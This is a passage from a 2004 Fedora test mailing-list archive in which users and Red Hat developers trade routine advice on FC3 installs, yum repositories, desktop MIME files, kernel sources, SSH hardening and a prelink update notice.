separate partition without affecting the FC1 system. The original production system is on multiple kernels (2.4....2.6.5), KDE3.2 and has a lot of compiled and rpm packages installed. How do I do it ? Will label tricks suffice by any chance ? The usual update install will update at the same location only, right? Thanks, A. Mani Member, Cal. Math. Soc. From mullens at ntlworld.com Mon Nov 22 23:05:33 2004 From: mullens at ntlworld.com (richard mullens) Date: Mon, 22 Nov 2004 23:05:33 +0000 Subject: Vulnerability on FC3T2 ? Present in FC3 ? In-Reply-To: <41A266B7.9050201@gmx.de> References: <41A14B83.1010603@ntlworld.com> <41A264FF.6000009@ntlworld.com> <41A266B7.9050201@gmx.de> Message-ID: <41A270BD.4020902@ntlworld.com> shrek-m at gmx.de wrote: > richard mullens wrote: > >> Time now to wipe the system and install FC3 using stronger passwords >> on my account. > > > and time to ... > change the sshd-port > disallow root-login via ssh > check your firewall > ... > > > # vi /etc/sshd/sshd_config > # man sshd_config > # man iptables > ... > Yes, Thanks :-) From scott.aaron at abc.net.au Mon Nov 22 23:09:14 2004 From: scott.aaron at abc.net.au (Aaron Scott) Date: Tue, 23 Nov 2004 10:09:14 +1100 Subject: A. Mani : Update Question Message-ID: This should be reasonablly trivial I would have thought. The installer on FC3 should let you do this I would imagine. You should manually partition the free space so that the installer has no choice in where it installs the OS ( and thus giving you reassurance that it won't blow away your existing install). It might pay to print out a copy of your existing grub configuration incase the install process doesn't add your existing Fedora install. In that case it will be just a matter of entering the relevant block into the FC3 grub config. -----Original Message----- From: fedora-test-list-bounces at redhat.com [mailto:fedora-test-list-bounces at redhat.com]On Behalf Of A. Mani Sent: Tuesday, 23 November 2004 10:07 AM To: fedora-test-list at redhat.com Subject: A. Mani : Update Question Hello, Actually I want to update FC1 by FC3 to a separate partition without affecting the FC1 system. The original production system is on multiple kernels (2.4....2.6.5), KDE3.2 and has a lot of compiled and rpm packages installed. How do I do it ? Will label tricks suffice by any chance ? The usual update install will update at the same location only, right? Thanks, A. Mani Member, Cal. Math. Soc. -- fedora-test-list mailing list fedora-test-list at redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-test-list From surak at casa.surak.eti.br Mon Nov 22 21:34:34 2004 From: surak at casa.surak.eti.br (Alexandre Strube) Date: Mon, 22 Nov 2004 19:34:34 -0200 Subject: bugzilla misses cdrecord? Message-ID: <1101159274.13417.22.camel@preview> I don't know if its the right place to post this, (probably not), but the fact is I'm trying to post a bug against fc3's cdrecord (which belongs to the package cdrecord-2.01.1-5), but cdrecord is not at easy list: https://bugzilla.redhat.com/bugzilla/easy_enter_bug.cgi It also does not appear at https://bugzilla.redhat.com/bugzilla/enter_bug.cgi?product=Fedora%20Core& How then can I post a bug to it? Well, the bug is that a user is not allowed to record. /dev/cdrom (cdrecord's default) and /dev/cdrecorder (cdrdao's default) doesn't exist. And /dev/hdc (which is, in my case, the cd recorder) has no permission to average user. K3b won't help either, because the k3b setup (which would set permissions correctly) is not shipped with FC3. Will this be fixed? I'm sure I'm not the only one having those problems. From wphewitt at bpa.gov Mon Nov 22 23:57:41 2004 From: wphewitt at bpa.gov (William Hewitt) Date: Mon, 22 Nov 2004 15:57:41 -0800 Subject: Evolution Mime Attachments..... Message-ID: <1101167861.10773.10.camel@localhost.localdomain> For Microsoft Word Attachments, the mime type showing up in my Evolution install is: application/msword I just installed the redhat-menus update, "redhat- menus-3.7-2.2.fc3.noarch.rpm", and now at least MSWord "doc" Mimetypes are correctly opening in OpenOffice..... Havent tried the others yet..... More as I run across it, but thanks for fixing this (still would like to know where the ".desktop" file exists that controls this....) Thanks again.... WPH -------------- next part -------------- An HTML attachment was scrubbed... URL: From jspaleta at gmail.com Tue Nov 23 00:09:37 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 22 Nov 2004 19:09:37 -0500 Subject: bugzilla misses cdrecord? In-Reply-To: <1101159274.13417.22.camel@preview> References: <1101159274.13417.22.camel@preview> Message-ID: <604aa79104112216095dc12cb1@mail.gmail.com> On Mon, 22 Nov 2004 19:34:34 -0200, Alexandre Strube wrote: > I don't know if its the right place to post this, (probably not), but > the fact is I'm trying to post a bug against fc3's cdrecord (which > belongs to the package cdrecord-2.01.1-5), but cdrecord is not at easy > list: https://bugzilla.redhat.com/bugzilla/easy_enter_bug.cgi the component you need to file against is cdrtools which is the name of the source rpm that cdrecord package is built from. There are several examples of this sort of thing where one src.rpm builds several different binary packages. You'll notice that mkisofs is built from the same cdrtools src.rpm. A little confusing, but the general rule of thumb is the components in bugzilla are the name of the src.rpm's and not the binary rpms. for example on my fc3 system rpm -qi cdrecord Source RPM: cdrtools-2.01.1-5.src.rpm rpm -qi mkisofs Source RPM: cdrtools-2.01.1-5.src.rpm -jef From cochranb at speakeasy.net Tue Nov 23 00:26:55 2004 From: cochranb at speakeasy.net (Robert L Cochran) Date: Mon, 22 Nov 2004 19:26:55 -0500 Subject: Installing Java In-Reply-To: <1100204322.2753.14.camel@dhcp83-102.boston.redhat.com> References: <4193B4AC.6080907@speakeasy.net> <1100204322.2753.14.camel@dhcp83-102.boston.redhat.com> Message-ID: <41A283CF.1020109@speakeasy.net> Paul Nasrat wrote: >On Thu, 2004-11-11 at 13:51 -0500, Robert L Cochran wrote: > > >>For Fedora Core 3, do I need to install a Java distribution, or is there >>a Java that already works? A quick check shows I have a jar utility >>installed but not, apparently, a java engine. The Release Notes say >>nothing about Java. >> >> > >yum install java-1.4.2-gcj-compat java-1.4.2-gcj-compat-devel > >For gcj, else go to jpackage.org and follow the instructions on >http://jpackage.org/rebuilding.php > >Build and install java-1.4.2-VENDOR you'll want to install the -devel >package, plus -fonts and -plugin for applets. > >Then add the jpackage repos to yum and you should be all set. > >We hope to have a 1.6 release very shortly (final touches) > >Paul > > > How do I add 'jpackage repos' to yum? Thanks for the help! Bob From jspaleta at gmail.com Tue Nov 23 01:12:54 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 22 Nov 2004 20:12:54 -0500 Subject: Missing update advisories In-Reply-To: <41A264DE.9090202@sohanet.de> References: <41A264DE.9090202@sohanet.de> Message-ID: <604aa7910411221712528be@mail.gmail.com> On Mon, 22 Nov 2004 23:14:54 +0100, Bernd Bartmann wrote: > After FC3 final has been released several updates have been pushed out > to the mirrors and yet again we haven't seen any announcement for some > of them. Some announcements for FC2 and even FC1 are still missing too: as this list points out, this is a continuing process problem. The only garunteed engineered solution to prevent this from happening is to make filing an annoucement text a blocking requirement for submitting an package as an update. But that will require a level of automation and red-tape that I don't think anyone inside the fenceline really wants to or has time to implement. It's my understanding that the primary reason these annoucements aren't making it out the door is that individual maintainers are simply forgetting to create an annoucement text and submit it to the annouce list. As a compromise, i would like to suggest that a autobug filer script be created that would file a bugreport against a component if an update goes unannouced for 3+ days in an effort to make the individual package maintainer aware of the problem in a timely fashion. While the summary reports to the public lists are somewhat useful.... finding a way to poke the individual package maintainers more directly seems to be needed. All the information needed should be available from the master mirror.. maybe just parsing the repository metadata would be enough. And I realize the existance of security issues greatly complicates when and how information is released. I'm trying to come up with discreet solution that makes sure annoucements don't fall through the cracks and are completely forgotten. thoughts? is a script designed to automate filing missing update announcement bugs a realistic and useful way forward? -jef From dcbw at redhat.com Tue Nov 23 01:54:02 2004 From: dcbw at redhat.com (Dan Williams) Date: Mon, 22 Nov 2004 20:54:02 -0500 Subject: Evolution Mime Attachments..... In-Reply-To: <1101167861.10773.10.camel@localhost.localdomain> References: <1101167861.10773.10.camel@localhost.localdomain> Message-ID: <1101174842.22157.1.camel@dcbw.boston.redhat.com> On Mon, 2004-11-22 at 15:57 -0800, William Hewitt wrote: > More as I run across it, but thanks for fixing this (still would like > to know where the ".desktop" file exists that controls this....) The files that control what mime-types OOo accepts via double-click or right-click in Nautilus and in Evolution are: /usr/share/applications/redhat-word-processor.desktop /usr/share/applications/redhat-spreadsheet.desktop /usr/share/applications/redhat-presentations.desktop /usr/share/applications/redhat-drawing.desktop There's going to be another redhat-menus package for FC3-updates tomorrow, and a new build of OOo tomorrow that should fix the remaining issues with OOo documents and Evolution/nautilus. Dan From jspaleta at gmail.com Tue Nov 23 02:02:48 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 22 Nov 2004 21:02:48 -0500 Subject: Usage of redhat in filenames (Re: Evolution Mime Attachments.....) In-Reply-To: <1101174842.22157.1.camel@dcbw.boston.redhat.com> References: <1101167861.10773.10.camel@localhost.localdomain> <1101174842.22157.1.camel@dcbw.boston.redhat.com> Message-ID: <604aa7910411221802325aaf@mail.gmail.com> On Mon, 22 Nov 2004 20:54:02 -0500, Dan Williams wrote: > /usr/share/applications/redhat-word-processor.desktop > /usr/share/applications/redhat-spreadsheet.desktop > /usr/share/applications/redhat-presentations.desktop > /usr/share/applications/redhat-drawing.desktop can i take a second and tangent. Is there any plans to move away from using redhat-whatever.desktop and redhat-whatever.png? I've been told on occasion that redhat-whatever.png can be problematic for people creating icon themes, and they are not exactly excited about having to create files that look vendor specific in order to provide aftermarket icon thems that work on fedora. We were able to pull redhat out of the names associated with the config tools. Is there a plan to follow suit with the .desktop and .png files being used? -jef From maxer1 at xmission.com Tue Nov 23 02:45:57 2004 From: maxer1 at xmission.com (raxet) Date: Mon, 22 Nov 2004 19:45:57 -0700 Subject: sk98lin for Marvell Yukon net Message-ID: <000001c4d106$8f12a7f0$0200000a@frank> Anyone know if you have to make your own kernel for Marvell Yukon net support to work? I certainly can't use the kernel-2.6.9-1.681 to any advantage. I also can't find what used to be available for kernel-source. So we basically have to download from kernel.org. Right? Thanks, RaXeT -------------- next part -------------- An HTML attachment was scrubbed... URL: From archinloaf at gmail.com Tue Nov 23 02:54:17 2004 From: archinloaf at gmail.com (Scott Sizemore) Date: Mon, 22 Nov 2004 21:54:17 -0500 Subject: new rawhide dirs ? In-Reply-To: <20041117154915.02aa9bbd.robn@verdi.et.tudelft.nl> References: <419B57A2.8050400@redhat.com> <20041117154915.02aa9bbd.robn@verdi.et.tudelft.nl> Message-ID: What is the link to the RH mirror maintainers list? Scott On Wed, 17 Nov 2004 15:49:15 +0100, Rob van Nieuwkerk wrote: > On Wed, 17 Nov 2004 14:52:34 +0100 > > > Phil Knirsch wrote: > > > Lars wrote: > > > the rawhide dir structure has changed? > > > it now looks like > > > > > > [DIR] SRPMS/ 17-Nov-2004 11:04 - > > > [DIR] headers/ 17-Nov-2004 11:06 - > > > [DIR] i386-logs/ 17-Nov-2004 11:05 - > > > [DIR] i386/ 17-Nov-2004 11:04 - > > > [DIR] ia64-logs/ 17-Nov-2004 11:05 - > > > [DIR] ia64/ 17-Nov-2004 11:05 - > > > [DIR] ppc-logs/ 17-Nov-2004 11:05 - > > > [DIR] ppc/ 17-Nov-2004 11:05 - > > > [DIR] ppc64-logs/ 17-Nov-2004 11:05 - > > > [DIR] ppc64/ 17-Nov-2004 11:05 - > > > [DIR] s390-logs/ 17-Nov-2004 11:05 - > > > [DIR] s390/ 17-Nov-2004 11:05 - > > > [DIR] s390x-logs/ 17-Nov-2004 11:05 - > > > [DIR] s390x/ 17-Nov-2004 11:05 - > > > [DIR] x86_64-logs/ 17-Nov-2004 11:05 - > > > [DIR] x86_64/ 17-Nov-2004 11:05 - > > > > > > and yum says that there is no repomd file. > > > ".../development/i386/repodata/repomd.xml: [Errno 4] IOError: HTTP Error > > > 404: None" > > > > > > > > > > Jup, seems to be broken atm, just stumbled across it myself. > > Seems there was a problem on the rawhide build machine. > All the *-logs/console-log files end with: > > "IOError: [Errno 28] No space left on device" > > I reported it already on the RH mirror maintainers list. > > greetings, > Rob van Nieuwkerk > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From P.R.Schaffner at IEEE.org Tue Nov 23 03:22:18 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Mon, 22 Nov 2004 22:22:18 -0500 Subject: sk98lin for Marvell Yukon net In-Reply-To: <000001c4d106$8f12a7f0$0200000a@frank> References: <000001c4d106$8f12a7f0$0200000a@frank> Message-ID: <1101180138.3758.12.camel@tabb1.tabb> On Mon, 2004-11-22 at 19:45 -0700, raxet wrote: > Anyone know if you have to make your own kernel for Marvell Yukon net > support to work? > > > > I certainly can?t use the kernel-2.6.9-1.681 to any advantage. I also > can?t find what used to be available > > for kernel-source. So we basically have to download from kernel.org. > Right? Wrong. Many discussions on fedora-test-list and fedora-list on kernel source. Here's a pointer to an rpm: http://ftp.dulug.duke.edu/pub/fedora/linux/core/updates/3/SRPMS/kernel-2.6.9-1.681_FC3.src.rpm or, your favorite mirror. Check the archives for more clues. Phil From P.R.Schaffner at IEEE.org Tue Nov 23 03:31:16 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Mon, 22 Nov 2004 22:31:16 -0500 Subject: Upgrade to fc2->fc3 via yum In-Reply-To: <446DDE75CFC7E1438061462F85557B0F075A5A46@remail2.westat.com> References: <446DDE75CFC7E1438061462F85557B0F075A5A46@remail2.westat.com> Message-ID: <1101180677.3758.18.camel@tabb1.tabb> On Mon, 2004-11-22 at 16:36 -0500, Henry Hartley wrote: > Same question, different version... Still a fedora-list question ;^) > Should upgrading from FC1 to FC3 work? Or does the change from the 2.4 to > 2.6 kernel cause problems? Seth Vidal says no - due to kernel/udev problems. LVM could also be problematic. Would not argue with such an authoritative source. > Can someone provide a pointer to a yum.conf I should use? Wouldn't want to be responsible, under the circumstances, but a hint is to change all occurrences of "$releasever" to "3" for core repositories. Phil On Tue, 2004-11-09, (on freshrpms-list) seth vidal wrote: > To: General freshrpms.net discussion list > Cc: rpm-list at freshrpms.net > Subject: Re: Upgrading from FC1 to FC3 ... > apt-get or yum won't do it > kernel 2.4 conflicts with udev > > you'll need to upgrade via anaconda. ... > > > > What does that mean for all the additional freshrpms packages which > > (presumably) anaconda doesn't know about? > It means your deps will be broken. > > There's really no good way around it unless you want to update to a 2.6 > kernel and remove the 2.4 kernel then try a yum upgrade from there. > > I wouldn't recommend it. > > Anaconda upgrade. > then yum update once anaconda is done > -sv From P.R.Schaffner at IEEE.org Tue Nov 23 03:51:35 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Mon, 22 Nov 2004 22:51:35 -0500 Subject: new rawhide dirs ? In-Reply-To: References: <419B57A2.8050400@redhat.com> <20041117154915.02aa9bbd.robn@verdi.et.tudelft.nl> Message-ID: <1101181896.3758.32.camel@tabb1.tabb> On Mon, 2004-11-22 at 21:54 -0500, Scott Sizemore wrote: > What is the link to the RH mirror maintainers list? Not sure there is one. Perhaps http://www.redhat.com/mailman/listinfo/fedora-devel-list Otherwise see the list of lists at http://www.redhat.com/mailman/listinfo/ Phil From cra at WPI.EDU Tue Nov 23 04:56:24 2004 From: cra at WPI.EDU (Charles R. Anderson) Date: Mon, 22 Nov 2004 23:56:24 -0500 Subject: sk98lin for Marvell Yukon net In-Reply-To: <1101180138.3758.12.camel@tabb1.tabb> References: <000001c4d106$8f12a7f0$0200000a@frank> <1101180138.3758.12.camel@tabb1.tabb> Message-ID: <20041123045624.GJ3746@angus.ind.WPI.EDU> On Mon, Nov 22, 2004 at 10:22:18PM -0500, Phil Schaffner wrote: > > for kernel-source. So we basically have to download from kernel.org. > > Right? > > Wrong. Many discussions on fedora-test-list and fedora-list on kernel > source. Here's a pointer to an rpm: > > http://ftp.dulug.duke.edu/pub/fedora/linux/core/updates/3/SRPMS/kernel-2.6.9-1.681_FC3.src.rpm > > or, your favorite mirror. Check the archives for more clues. Or simply read the release notes. From russell at coker.com.au Tue Nov 23 01:09:06 2004 From: russell at coker.com.au (Russell Coker) Date: Tue, 23 Nov 2004 12:09:06 +1100 Subject: Fedora Core 2.92 Test 3 (86_64) on reiserfs In-Reply-To: <4161748000008AD6@mail-4-bnl.tiscali.it> References: <4161748000008AD6@mail-4-bnl.tiscali.it> Message-ID: <200411231209.09221.russell@coker.com.au> On Sunday 31 October 2004 05:58, dirk.nissen at tiscali.be wrote: > When I was trying to upgrade my Fedora to Fedora Core 2.92 Test 3 (86_64), > the program blocked. > My root directory is on a reiserfs filesystem. Other distributions are [...] > Using a "linux reiserfs" commandline after the bootcd had started up didn't > change anything. Try "linux reiserfs selinux=0". Fedora Core 3 defaults to having SE Linux enabled, but ReiserFS does not work properly with SE Linux so you have to disable SE Linux if you want to use ReiserFS. I am not sure whether this applies to upgrades (it definately applies for a fresh install). Try it out and let us know if it doesn't solve the problem. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From russell at coker.com.au Tue Nov 23 05:14:25 2004 From: russell at coker.com.au (Russell Coker) Date: Tue, 23 Nov 2004 16:14:25 +1100 Subject: Needed Advice In-Reply-To: References: Message-ID: <200411231614.28677.russell@coker.com.au> On Wednesday 17 November 2004 18:39, joelbryan wrote: > - How do you save money? Buy a bridge. A bridge is a really good investment, it may take a long time to pay off, but once you own it you can make it a toll bridge and make lots of money. Another option is to buy land on the moon. It's cheap at the moment, but eventually someone will build a moon-base and the prices will increase a lot. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From pboy at barkhof.uni-bremen.de Tue Nov 23 08:04:30 2004 From: pboy at barkhof.uni-bremen.de (Peter Boy) Date: Tue, 23 Nov 2004 09:04:30 +0100 Subject: Evolution Mime Attachments..... In-Reply-To: <1101174842.22157.1.camel@dcbw.boston.redhat.com> References: <1101167861.10773.10.camel@localhost.localdomain> <1101174842.22157.1.camel@dcbw.boston.redhat.com> Message-ID: <1101197070.3798.7.camel@littlePiet> Am Montag, den 22.11.2004, 20:54 -0500 schrieb Dan Williams: > There's going to be another redhat-menus package for FC3-updates > tomorrow, and a new build of OOo tomorrow that should fix the remaining > issues with OOo documents and Evolution/nautilus. Just another question about file types: If I inspect e.g /usr/share/applications/totem.desktop totem is registered for mp3 files, but actually isn't able to handle those files appropriately. Same is true for rhythmbox.desktop. Wouldn't it be appropriate to remove those file types? Actually, if I edit those files and remove mp3, the programs still show up in other applications ("Open with", if I right-click on an mp3-file icon). And just a question: If there are several programs which can handle e.g mp3 files, where can I specify, which is the default one (and is listed first in its context menue)? Thanks Peter From veguilla at hpcf.upr.edu Tue Nov 23 08:58:50 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Tue, 23 Nov 2004 04:58:50 -0400 Subject: Evolution Mime Attachments..... In-Reply-To: <1101197070.3798.7.camel@littlePiet> References: <1101167861.10773.10.camel@localhost.localdomain> <1101174842.22157.1.camel@dcbw.boston.redhat.com> <1101197070.3798.7.camel@littlePiet> Message-ID: <1101200330.12443.18.camel@ricardo.gateway.2wire.net> On Tue, 2004-11-23 at 09:04 +0100, Peter Boy wrote: > Am Montag, den 22.11.2004, 20:54 -0500 schrieb Dan Williams: > > There's going to be another redhat-menus package for FC3-updates > > tomorrow, and a new build of OOo tomorrow that should fix the remaining > > issues with OOo documents and Evolution/nautilus. > > Just another question about file types: > > If I inspect e.g /usr/share/applications/totem.desktop totem is > registered for mp3 files, but actually isn't able to handle those files > appropriately. Same is true for rhythmbox.desktop. Wouldn't it be > appropriate to remove those file types? In my opinion, no. Technically, these apps can play mp3 files with the appropriate plugin installed. If totem or rhythmbox aren't registered as capable of handling mp3 files, the user may end up thinking that he needs to install a whole new app just to play mp3s when he only needs to install the mp3 plugin. > Actually, if I edit those files and remove mp3, the programs still show > up in other applications ("Open with", if I right-click on an mp3-file > icon). did you run update-desktop-database /usr/share/applications ? > And just a question: > > If there are several programs which can handle e.g mp3 files, where can > I specify, which is the default one (and is listed first in its context > menue)? If you mean system wide defaults (in other words, setting the default without using "Properties->Open With") ... I don't know. Regards, -- Ricardo Veguilla From kms at passback.co.uk Tue Nov 23 10:28:04 2004 From: kms at passback.co.uk (Keith Sharp) Date: Tue, 23 Nov 2004 10:28:04 +0000 Subject: Installing Java In-Reply-To: <41A283CF.1020109@speakeasy.net> References: <4193B4AC.6080907@speakeasy.net> <1100204322.2753.14.camel@dhcp83-102.boston.redhat.com> <41A283CF.1020109@speakeasy.net> Message-ID: <1101205685.20276.0.camel@animal> On Mon, 2004-11-22 at 19:26 -0500, Robert L Cochran wrote: > How do I add 'jpackage repos' to yum? http://www.jpackage.org/repos.php And scroll down. Keith. From henryhartley at westat.com Tue Nov 23 14:30:41 2004 From: henryhartley at westat.com (Henry Hartley) Date: Tue, 23 Nov 2004 09:30:41 -0500 Subject: Upgrade to fc2->fc3 via yum Message-ID: <446DDE75CFC7E1438061462F85557B0F075A5A48@remail2.westat.com> >> -----Original Message----- >> From: Phil Schaffner >> Sent: Monday, November 22, 2004 10:31 PM >> >> On Mon, 2004-11-22 at 16:36 -0500, Henry Hartley wrote: >> > Same question, different version... >> >> Still a fedora-list question ;^) You're right. My appologies. I've just subscribed there, too. Thanks for answering here anyway. >> > Should upgrading from FC1 to FC3 work? Or does the change from >> > the 2.4 to 2.6 kernel cause problems? >> >> Seth Vidal says no - due to kernel/udev problems. LVM could also >> be problematic. Would not argue with such an authoritative source. I thought that might be the case. I'd be making a good backup anyway so I guess I'll clean the drive and do a full, clean install of FC3. >> > Can someone provide a pointer to a yum.conf I should use? >> >> Wouldn't want to be responsible, under the circumstances, but a >> hint is to change all occurrences of "$releasever" to "3" for >> core repositories. That's simpler than I expected. Makes sense though. Thanks. -- Henry From Stephane.Gaucher at USherbrooke.ca Tue Nov 23 14:35:31 2004 From: Stephane.Gaucher at USherbrooke.ca (Stephane Gaucher) Date: Tue, 23 Nov 2004 09:35:31 -0500 Subject: Export X apps via a ssh session problem Message-ID: <1101220532.3343.0.camel@localhost.localdomain> Why i can't pass an X application via a ssh tunel -------------- next part -------------- An HTML attachment was scrubbed... URL: From vincent.arnoux at rfo.atmel.com Tue Nov 23 14:44:13 2004 From: vincent.arnoux at rfo.atmel.com (Vincent Arnoux) Date: Tue, 23 Nov 2004 15:44:13 +0100 Subject: Export X apps via a ssh session problem In-Reply-To: <1101220532.3343.0.camel@localhost.localdomain> References: <1101220532.3343.0.camel@localhost.localdomain> Message-ID: <1101221053.6321.7.camel@localhost.localdomain> Try to run ssh as: ssh -Y host Thank you the List ;) ! Le mardi 23 novembre 2004 ? 09:35 -0500, Stephane Gaucher a ?crit : > Why i can't pass an X application via a ssh tunel > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-test-list From maillist.penguinhack.net at gmail.com Tue Nov 23 16:40:36 2004 From: maillist.penguinhack.net at gmail.com (richard wilson) Date: Tue, 23 Nov 2004 09:40:36 -0700 Subject: need information about a program. Message-ID: eggcups? never heard of this program can anyone tell me what it does and why it keeps taking down my system? -- http://www.freeiPods.com/?r=9186354 From walters at redhat.com Tue Nov 23 16:50:55 2004 From: walters at redhat.com (Colin Walters) Date: Tue, 23 Nov 2004 11:50:55 -0500 Subject: need information about a program. In-Reply-To: References: Message-ID: <1101228656.3308.2.camel@nexus.verbum.private> On Tue, 2004-11-23 at 09:40 -0700, richard wilson wrote: > eggcups? never heard of this program can anyone tell me what it does > and why it keeps taking down my system? http://bugzilla.redhat.com/beta2/show_bug.cgi?id=140081 From NaveR at fidelitytech.com Tue Nov 23 17:09:31 2004 From: NaveR at fidelitytech.com (Nave, Ronald) Date: Tue, 23 Nov 2004 12:09:31 -0500 Subject: need information about a program. Message-ID: -----Original Message----- From: fedora-test-list-bounces at redhat.com [mailto:fedora-test-list-bounces at redhat.com]On Behalf Of richard wilson Sent: Tuesday, November 23, 2004 11:41 AM To: fedora-test-list at redhat.com Subject: need information about a program. eggcups? never heard of this program can anyone tell me what it does and why it keeps taking down my system? -- http://www.freeiPods.com/?r=9186354 -- fedora-test-list mailing list fedora-test-list at redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-test-list according to the net eggcups is a panel icon that provides a visual indicator for jobs you have submitted to the print queue. My FC3 machine indicates that eggcups is running. However, I don't have a printer attached and eggcups does not seem to do anything. I am not sure if this info will help you any though From maillist.penguinhack.net at gmail.com Tue Nov 23 17:13:47 2004 From: maillist.penguinhack.net at gmail.com (richard wilson) Date: Tue, 23 Nov 2004 10:13:47 -0700 Subject: need information about a program. In-Reply-To: <1101228656.3308.2.camel@nexus.verbum.private> References: <1101228656.3308.2.camel@nexus.verbum.private> Message-ID: thanks. seems to have work wonders. On Tue, 23 Nov 2004 11:50:55 -0500, Colin Walters wrote: > On Tue, 2004-11-23 at 09:40 -0700, richard wilson wrote: > > eggcups? never heard of this program can anyone tell me what it does > > and why it keeps taking down my system? > > http://bugzilla.redhat.com/beta2/show_bug.cgi?id=140081 > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > -- http://www.freeiPods.com/?r=9186354 From jakub at redhat.com Tue Nov 23 17:13:52 2004 From: jakub at redhat.com (Jakub Jelinek) Date: Tue, 23 Nov 2004 12:13:52 -0500 Subject: Fedora Core 3 Test Update: prelink-0.3.3-0.fc3 Message-ID: <20041123171352.GA10340@devserv.devel.redhat.com> --------------------------------------------------------------------- Fedora Test Update Notification FEDORA-2004-458 2004-11-23 --------------------------------------------------------------------- Product : Fedora Core 3 Name : prelink Version : 0.3.3 Release : 0.fc3 Summary : An ELF prelinking utility Description : The prelink package contains a utility which modifies ELF shared libraries and executables, so that far less relocations need to be resolved at runtime and thus programs come up faster. --------------------------------------------------------------------- Update Information: I believe this should fix the problems people are seeing with eggcups or gnome-volume-manager. For testing I'd especially appreciate testers updating to this prelink right after FC3 install, prelink at that point (either by manually running /etc/cron.daily/prelink or waiting a day) and only afterwards up2dating other packages and re-prelinking again. --------------------------------------------------------------------- * Tue Nov 23 2004 Jakub Jelinek 0.3.3-0.fc3 - if layout code needs to re-prelink some library, make sure all libraries that depend on it are re-prelinked too (#140081) - add several more checks before deciding it is ok to prelink a binary (even if another bug like #140081 was in, these checks should hopefully catch it and refuse to (re-)prelink the binary) - added new PRELINK_NONRPM_CHECK_INTERVAL variable to /etc/prelink, defaulting to 7 days. Prelink nightly job will not do anything if that interval has not elapsed since last prelinking and and the rpm database has not been modified since that prelinking. This is useful if you rely on rpm/up2date/yum/apt-rpm for library and binary updates. If you combine it with other means (installs from source, tarballs etc.), you probably want to set PRELINK_NONRPM_CHECK_INTERVAL=0. - update prelink man page (#126468) --------------------------------------------------------------------- This update can be downloaded from: http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/3/ 27fcdffe47b38f3463abcf67a7caa903 SRPMS/prelink-0.3.3-0.fc3.src.rpm 526a5b0f2df03ba28f95a2e853256a87 x86_64/prelink-0.3.3-0.fc3.x86_64.rpm b92daaf9944283140dd289bd96a2b4da x86_64/debug/prelink-debuginfo-0.3.3-0.fc3.x86_64.rpm 73bda3aac811930f4532e35a13f84de4 i386/prelink-0.3.3-0.fc3.i386.rpm 7a0d6ec7a400d5dace07c2278019c496 i386/debug/prelink-debuginfo-0.3.3-0.fc3.i386.rpm This update can also be installed with the Update Agent; you can launch the Update Agent with the 'up2date' command. You may need to edit your up2date channels configuration. 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Please file a separate bug for now. > > If they turn out to be related, we can always close->dup it > > later. > > > > Dave > > > Just a follow up on this issue, I updated my Dell GX270 with the new kernel and it is working 100%. Thanks for the quick fix! Sean From maillist.penguinhack.net at gmail.com Tue Nov 23 17:37:49 2004 From: maillist.penguinhack.net at gmail.com (richard wilson) Date: Tue, 23 Nov 2004 10:37:49 -0700 Subject: need information about a program. In-Reply-To: References: <1101228656.3308.2.camel@nexus.verbum.private> Message-ID: well maybe I spoke to soon. something is still crashing my box? I will need to do more digging to find out what. On Tue, 23 Nov 2004 10:13:47 -0700, richard wilson wrote: > thanks. seems to have work wonders. > > > > > On Tue, 23 Nov 2004 11:50:55 -0500, Colin Walters wrote: > > On Tue, 2004-11-23 at 09:40 -0700, richard wilson wrote: > > > eggcups? never heard of this program can anyone tell me what it does > > > and why it keeps taking down my system? > > > > http://bugzilla.redhat.com/beta2/show_bug.cgi?id=140081 > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > -- > http://www.freeiPods.com/?r=9186354 > -- http://www.freeiPods.com/?r=9186354 From kyrre at solution-forge.net Tue Nov 23 17:43:08 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 23 Nov 2004 18:43:08 +0100 Subject: need information about a program. In-Reply-To: References: <1101228656.3308.2.camel@nexus.verbum.private> Message-ID: <1101231787.3681.0.camel@kyrre> Hmm.. eggcups shouldn't CHRASH your box... tir, 23.11.2004 kl. 18.37 skrev richard wilson: > well maybe I spoke to soon. > something is still crashing my box? > I will need to do more digging to find out what. > > > On Tue, 23 Nov 2004 10:13:47 -0700, richard wilson > wrote: > > thanks. seems to have work wonders. > > > > > > > > > > On Tue, 23 Nov 2004 11:50:55 -0500, Colin Walters wrote: > > > On Tue, 2004-11-23 at 09:40 -0700, richard wilson wrote: > > > > eggcups? never heard of this program can anyone tell me what it does > > > > and why it keeps taking down my system? > > > > > > http://bugzilla.redhat.com/beta2/show_bug.cgi?id=140081 > > > > > > -- > > > fedora-test-list mailing list > > > fedora-test-list at redhat.com > > > To unsubscribe: > > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > > > > -- > > http://www.freeiPods.com/?r=9186354 > > > > > -- > http://www.freeiPods.com/?r=9186354 From charlescurley at charlescurley.com Tue Nov 23 18:13:28 2004 From: charlescurley at charlescurley.com (Charles Curley) Date: Tue, 23 Nov 